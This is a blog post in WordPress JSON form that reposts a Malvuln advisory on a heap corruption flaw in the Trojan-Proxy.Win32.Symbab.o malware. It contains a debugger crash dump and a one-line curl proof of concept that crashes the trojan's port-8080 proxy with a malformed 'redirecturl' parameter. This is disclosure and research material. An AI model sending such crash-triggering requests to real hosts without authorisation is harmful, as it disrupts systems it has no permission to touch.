{"id":25540,"date":"2022-06-07T20:52:06","date_gmt":"2022-06-07T16:52:06","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167435\/MVID-2022-0610.txt"},"modified":"2022-06-14T12:14:53","modified_gmt":"2022-06-14T07:44:53","slug":"trojan-proxy-win32-symbab-o-mvid-2022-0610-heap-corruption","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/trojan-proxy-win32-symbab-o-mvid-2022-0610-heap-corruption\/","title":{"rendered":"Trojan-Proxy.Win32.Symbab.o MVID-2022-0610 Heap Corruption"},"content":{"rendered":"<p>Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br \/>\nOriginal source: https:\/\/malvuln.com\/advisory\/bffc519fbaf2d119bd307cd22368cdc7.txt<br \/>\nContact: malvuln13@gmail.com<br \/>\nMedia: twitter.com\/malvuln<\/p>\n<p>Threat: Trojan-Proxy.Win32.Symbab.o<br \/>\nVulnerability: Heap Corruption<br \/>\nDescription: The malware listens on TCP port 8080. Attackers who can reach an infected system can send a corrupt HTTP request for the &#8220;redirecturl&#8221; parameter causing a heap corruption.<br \/>\nFamily: Symbab<br \/>\nType: PE32<br \/>\nMD5: bffc519fbaf2d119bd307cd22368cdc7<br \/>\nVuln ID: MVID-2022-0610<br \/>\nDisclosure: 06\/06\/2022<\/p>\n<p>Memory Dump:<br \/>\n(670.1e5c): Access violation &#8211; code c0000005 (first\/second chance not available)<br \/>\neax=00000000 ebx=00000000 ecx=049fff48 edx=00000290 esi=00000003 edi=00000003<br \/>\neip=7770ed3c esp=049fb564 ebp=049fb6f4 iopl=0 nv up ei pl nz na po nc<br \/>\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202<br \/>\nntdll!ZwWaitForMultipleObjects+0xc:<br \/>\n7770ed3c c21400 ret 14h<\/p>\n<p>0:007&gt; .ecxr<br \/>\neax=00000290 ebx=000002d8 ecx=049fff48 edx=00000290 esi=00450000 edi=00000000<br \/>\neip=776df2e1 esp=049fbea0 ebp=049fbee0 iopl=0 nv up ei pl zr na pe nc<br \/>\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246<br \/>\nntdll!RtlFreeHeap+0xa1:<br \/>\n776df2e1 8078ff05 cmp byte ptr [eax-1],5 ds:002b:0000028f=??<\/p>\n<p>0:007&gt; !analyze -v<br \/>\n*******************************************************************************<br \/>\n* *<br \/>\n* Exception Analysis *<br \/>\n* *<br \/>\n*******************************************************************************<\/p>\n<p>*** WARNING: Unable to verify checksum for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e<br \/>\n*** ERROR: Module load completed but symbols could not be loaded for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e<\/p>\n<p>FAULTING_IP:<br \/>\nntdll!RtlFreeHeap+a1<br \/>\n776df2e1 8078ff05 cmp byte ptr [eax-1],5<\/p>\n<p>EXCEPTION_RECORD: ffffffff &#8212; (.exr 0xffffffffffffffff)<br \/>\nExceptionAddress: 776df2e1 (ntdll!RtlFreeHeap+0x000000a1)<br \/>\nExceptionCode: c0000005 (Access violation)<br \/>\nExceptionFlags: 00000000<br \/>\nNumberParameters: 2<br \/>\nParameter[0]: 00000000<br \/>\nParameter[1]: 0000028f<br \/>\nAttempt to read from address 0000028f<\/p>\n<p>PROCESS_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e<\/p>\n<p>ERROR_CODE: (NTSTATUS) 0xc0000005 &#8211; The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<\/p>\n<p>EXCEPTION_CODE: (NTSTATUS) 0xc0000005 &#8211; The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.<\/p>\n<p>EXCEPTION_PARAMETER1: 00000000<\/p>\n<p>EXCEPTION_PARAMETER2: 0000028f<\/p>\n<p>READ_ADDRESS: 0000028f<\/p>\n<p>FOLLOWUP_IP:<br \/>\nTrojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c<br \/>\n004a260c 83c404 add esp,4<\/p>\n<p>MOD_LIST: &lt;ANALYSIS\/&gt;<\/p>\n<p>NTGLOBALFLAG: 0<\/p>\n<p>APPLICATION_VERIFIER_FLAGS: 0<\/p>\n<p>FAULTING_THREAD: 00001e5c<\/p>\n<p>BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ<\/p>\n<p>PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument<\/p>\n<p>DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument<\/p>\n<p>LAST_CONTROL_TRANSFER: from 744d7065 to 776df2e1<\/p>\n<p>STACK_TEXT:<br \/>\n049fbee0 744d7065 00450000 00000000 00000290 ntdll!RtlFreeHeap+0xa1<br \/>\n049fbf2c 004a260c 00000290 049fff68 004a434a msvcrt!free+0x65<br \/>\nWARNING: Stack unwind information not available. Following frames may be wrong.<br \/>\n049fbf38 004a434a 049fff48 50545448 312e312f Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x260c<br \/>\n049fff68 004a43d7 00000290 00000290 00000004 Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x434a<br \/>\n049fff80 77408654 000002d8 77408630 42500cba Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x43d7<br \/>\n049fff94 77704a77 000002d8 37e18a47 00000000 kernel32!BaseThreadInitThunk+0x24<br \/>\n049fffdc 77704a47 ffffffff 77729eca 00000000 ntdll!__RtlUserThreadStart+0x2f<br \/>\n049fffec 00000000 004a438c 000002d8 00000000 ntdll!_RtlUserThreadStart+0x1b<\/p>\n<p>STACK_COMMAND: !heap ; ~7s; .ecxr ; kb<\/p>\n<p>SYMBOL_STACK_INDEX: 2<\/p>\n<p>SYMBOL_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c<\/p>\n<p>FOLLOWUP_NAME: MachineOwner<\/p>\n<p>MODULE_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7<\/p>\n<p>IMAGE_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e<\/p>\n<p>DEBUG_FLR_IMAGE_TIMESTAMP: 4168069f<\/p>\n<p>FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_c0000005_Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e!Unknown<\/p>\n<p>BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c<\/p>\n<p>Followup: MachineOwner<\/p>\n<p>Exploit\/PoC:<br \/>\ncurl &#8220;http:\/\/192.168.18.125:8080\/?redirecturl=http:\/\/0x41414141&#8221; -v<\/p>\n<p>Connected to 192.168.18.125 (192.168.18.125) port 8080 (#0)<br \/>\nGET \/?redirecturl=http:\/\/0x41414141 HTTP\/1.1<br \/>\nHost: 192.168.18.125:8080<br \/>\nUser-Agent: curl\/7.47.1<br \/>\nAccept: *\/*<\/p>\n<p>HTTP 1.0, assume close after body<br \/>\nHTTP\/1.0 400 Bad Request<br \/>\nServer: ProxyServer\/0.0.1<br \/>\nMime-Version: 1.0<br \/>\nDate: Thu, 01 Jan 1970 00:00:00 GMT<br \/>\nContent-Type: text\/html<br \/>\nContent-Length: 24<br \/>\nExpires: Thu, 01 Jan 1970 00:00:00 GMT<br \/>\nX-Squid-Error: ERR_INVALID_URL 0<br \/>\nX-Cache: MISS from www.rambler.ru<br \/>\nConnection: close<\/p>\n<p>Unsupported protocol<\/p>\n<p>Disclaimer: The information contained within this advisory is supplied &#8220;as-is&#8221; with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https:\/\/malvuln.com\/advisory\/bffc519fbaf2d119bd307cd22368cdc7.txt Contact: malvuln13@gmail.com Media: twitter.com\/malvuln Threat: Trojan-Proxy.Win32.Symbab.o Vulnerability: Heap Corruption Description: The malware listens on TCP port 8080. Attackers who can reach an infected system can send a corrupt HTTP request for the &#8220;redirecturl&#8221; parameter causing a heap corruption. Family: Symbab Type: PE32 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-25540","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25540","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=25540"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25540\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=25540"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=25540"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=25540"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}